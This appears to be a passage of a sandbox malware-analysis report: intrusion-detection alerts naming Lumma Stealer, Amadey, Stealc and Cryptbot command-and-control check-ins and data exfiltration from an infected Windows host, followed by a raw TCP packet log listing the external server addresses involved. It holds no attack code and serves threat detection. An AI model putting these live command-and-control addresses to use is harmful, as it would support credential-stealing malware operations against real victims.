2024-11-23T18:22:33.733887+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	172.67.162.84	443	TCP
2024-11-23T18:22:35.128364+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49822	185.215.113.16	80	TCP
2024-11-23T18:22:36.822071+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49829	172.67.162.84	443	TCP
2024-11-23T18:22:37.181162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49830	172.67.162.84	443	TCP
2024-11-23T18:22:37.867575+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49829	172.67.162.84	443	TCP
2024-11-23T18:22:38.005095+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49830	172.67.162.84	443	TCP
2024-11-23T18:22:38.005095+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49830	172.67.162.84	443	TCP
2024-11-23T18:22:39.678996+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49840	172.67.162.84	443	TCP
2024-11-23T18:22:40.173639+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49841	172.67.162.84	443	TCP
2024-11-23T18:22:40.417421+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49840	172.67.162.84	443	TCP
2024-11-23T18:22:40.417421+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49840	172.67.162.84	443	TCP
2024-11-23T18:22:42.035955+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49848	172.67.162.84	443	TCP
2024-11-23T18:22:42.760545+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49848	172.67.162.84	443	TCP
2024-11-23T18:22:43.803153+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49854	185.215.113.43	80	TCP
2024-11-23T18:22:43.921677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T18:22:44.320280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49857	172.67.162.84	443	TCP
2024-11-23T18:22:45.002022+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49858	185.215.113.16	80	TCP
2024-11-23T18:22:47.373115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49870	172.67.162.84	443	TCP
2024-11-23T18:22:47.447048+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49872	172.67.162.84	443	TCP
2024-11-23T18:22:48.287621+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49871	185.215.113.206	80	TCP
2024-11-23T18:22:48.421649+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49870	172.67.162.84	443	TCP
2024-11-23T18:22:50.031537+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49886	172.67.162.84	443	TCP
2024-11-23T18:22:50.720466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49888	172.67.162.84	443	TCP
2024-11-23T18:22:50.792360+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49886	172.67.162.84	443	TCP
2024-11-23T18:22:52.511378+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49893	185.215.113.16	80	TCP
2024-11-23T18:22:57.386859+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49907	172.67.162.84	443	TCP
2024-11-23T18:23:01.147211+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49917	172.67.162.84	443	TCP
2024-11-23T18:23:11.267524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49946	172.67.162.84	443	TCP
2024-11-23T18:23:12.061559+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49946	172.67.162.84	443	TCP
2024-11-23T18:23:14.334526+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49959	185.215.113.16	80	TCP
2024-11-23T18:23:30.166417+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50016	31.41.244.11	80	TCP
2024-11-23T18:23:40.992314+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50010	TCP
2024-11-23T18:23:42.343372+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50079	185.215.113.43	80	TCP
2024-11-23T18:24:08.079049+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50153	34.116.198.130	80	TCP
2024-11-23T18:24:11.382067+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50161	34.116.198.130	80	TCP
2024-11-23T18:24:40.324650+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50201	34.116.198.130	80	TCP
2024-11-23T18:25:31.792178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50230	20.189.173.20	443	TCP
2024-11-23T18:26:25.206023+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50249	20.189.173.17	443	TCP
2024-11-23T18:27:10.825914+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50268	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 18:21:21.937252998 CET	49672	443	192.168.2.4	173.222.162.32
Nov 23, 2024 18:21:21.937316895 CET	443	49672	173.222.162.32	192.168.2.4
Nov 23, 2024 18:21:24.896245003 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:24.896306038 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:24.896390915 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:24.898351908 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:24.898380041 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:26.683161974 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:26.683269024 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:26.686733961 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:26.686747074 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:26.687073946 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:26.738543034 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.354738951 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.363759995 CET	49723	80	192.168.2.4	199.232.210.172
Nov 23, 2024 18:21:28.399332047 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.490411043 CET	80	49723	199.232.210.172	192.168.2.4
Nov 23, 2024 18:21:28.490506887 CET	49723	80	192.168.2.4	199.232.210.172
Nov 23, 2024 18:21:28.822448969 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822515965 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822536945 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822555065 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822592020 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.822596073 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822617054 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822634935 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.822647095 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.822668076 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.822688103 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.975229979 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.975339890 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:28.975368023 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.975492954 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:28.975545883 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:30.445564032 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:30.445564032 CET	49730	443	192.168.2.4	4.245.163.56
Nov 23, 2024 18:21:30.445631027 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:30.445660114 CET	443	49730	4.245.163.56	192.168.2.4
Nov 23, 2024 18:21:59.060416937 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:21:59.060468912 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:21:59.060534000 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:21:59.061152935 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:21:59.061168909 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.199326038 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.199389935 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.205960035 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.205967903 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.206283092 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.213970900 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.255369902 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.729649067 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.729712963 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.729772091 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.729798079 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.729816914 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.729830027 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.729861021 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.925906897 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.925971031 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.925987959 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.926012039 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:01.926052094 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:01.926052094 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.007343054 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.007414103 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.007441044 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.007461071 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.007473946 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.007500887 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.094325066 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.094363928 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.094471931 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.094484091 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.094527006 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.144448042 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.144471884 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.144527912 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.144537926 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.144566059 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.144587994 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.175940037 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.176002026 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.176059008 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.176067114 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.176096916 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.176120996 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.196456909 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.196477890 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.196518898 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.196531057 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.196548939 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.196576118 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.388823986 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.388851881 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.388891935 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.388900995 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.388926029 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.388955116 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.411664963 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.411683083 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.411731005 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.411737919 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.411781073 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.434586048 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.434603930 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.434650898 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.434657097 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.434699059 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.434768915 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.457109928 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.457129002 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.457201958 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.457211971 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.457396984 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.460381031 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.460437059 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.460695028 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.461210966 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.461220026 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.510495901 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.510549068 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.513169050 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.513184071 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.513217926 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.513252020 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.513281107 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.513305902 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.513392925 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.514746904 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.514791012 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.514866114 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.515571117 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.515621901 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.515688896 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.516166925 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.516177893 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.516300917 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.516325951 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.516326904 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.516343117 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.516429901 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.516441107 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:02.516500950 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:02.516510963 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.363115072 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.366718054 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.366746902 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.367223978 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.367229939 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.470298052 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.471002102 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.471019983 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.471569061 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.471574068 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.474668026 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.475064993 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.475100994 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.475164890 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.475672007 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.475682974 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.476246119 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.476270914 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.476669073 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.476674080 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.500277996 CET	49742	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:04.541366100 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.541805029 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.541826963 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.542385101 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.542388916 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.626858950 CET	80	49742	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:04.626955032 CET	49742	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:04.627156973 CET	49742	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:04.753070116 CET	80	49742	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:04.812357903 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.812391043 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.812453032 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.812470913 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.812510967 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.812700033 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.812705994 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.812732935 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.812922001 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.812968016 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.813014984 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.815870047 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.815908909 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.815977097 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.816137075 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.816145897 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.931099892 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.931179047 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.931241035 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.931441069 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.931453943 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.931468010 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.931473970 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.934830904 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.934879065 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.934968948 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.935121059 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.935144901 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.940846920 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.940993071 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.941047907 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.941076994 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.941091061 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.941102028 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.941106081 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.942513943 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.942543030 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.942590952 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.942600012 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.942635059 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.942751884 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.942755938 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.942770958 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.942945004 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.942980051 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.943017960 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.943602085 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.943623066 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.943682909 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.943871021 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.943882942 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.944852114 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.944864035 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:04.944930077 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.945058107 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:04.945070982 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015232086 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015265942 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015350103 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.015377045 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015582085 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.015603065 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015616894 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.015764952 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015799046 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.015839100 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.018131018 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.018151045 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.018229008 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.018347979 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:05.018354893 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:05.976701975 CET	80	49742	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:05.976854086 CET	49742	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:06.587498903 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.613858938 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.613898039 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.614321947 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.614326954 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.670536995 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.676892042 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.676913977 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.677333117 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.677337885 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.775644064 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.777507067 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.777544975 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.778115034 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.778130054 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.801172018 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.847946882 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.849422932 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.849442005 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.849869013 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:06.849874973 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.861440897 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:06.861849070 CET	49746	443	192.168.2.4	13.107.246.63
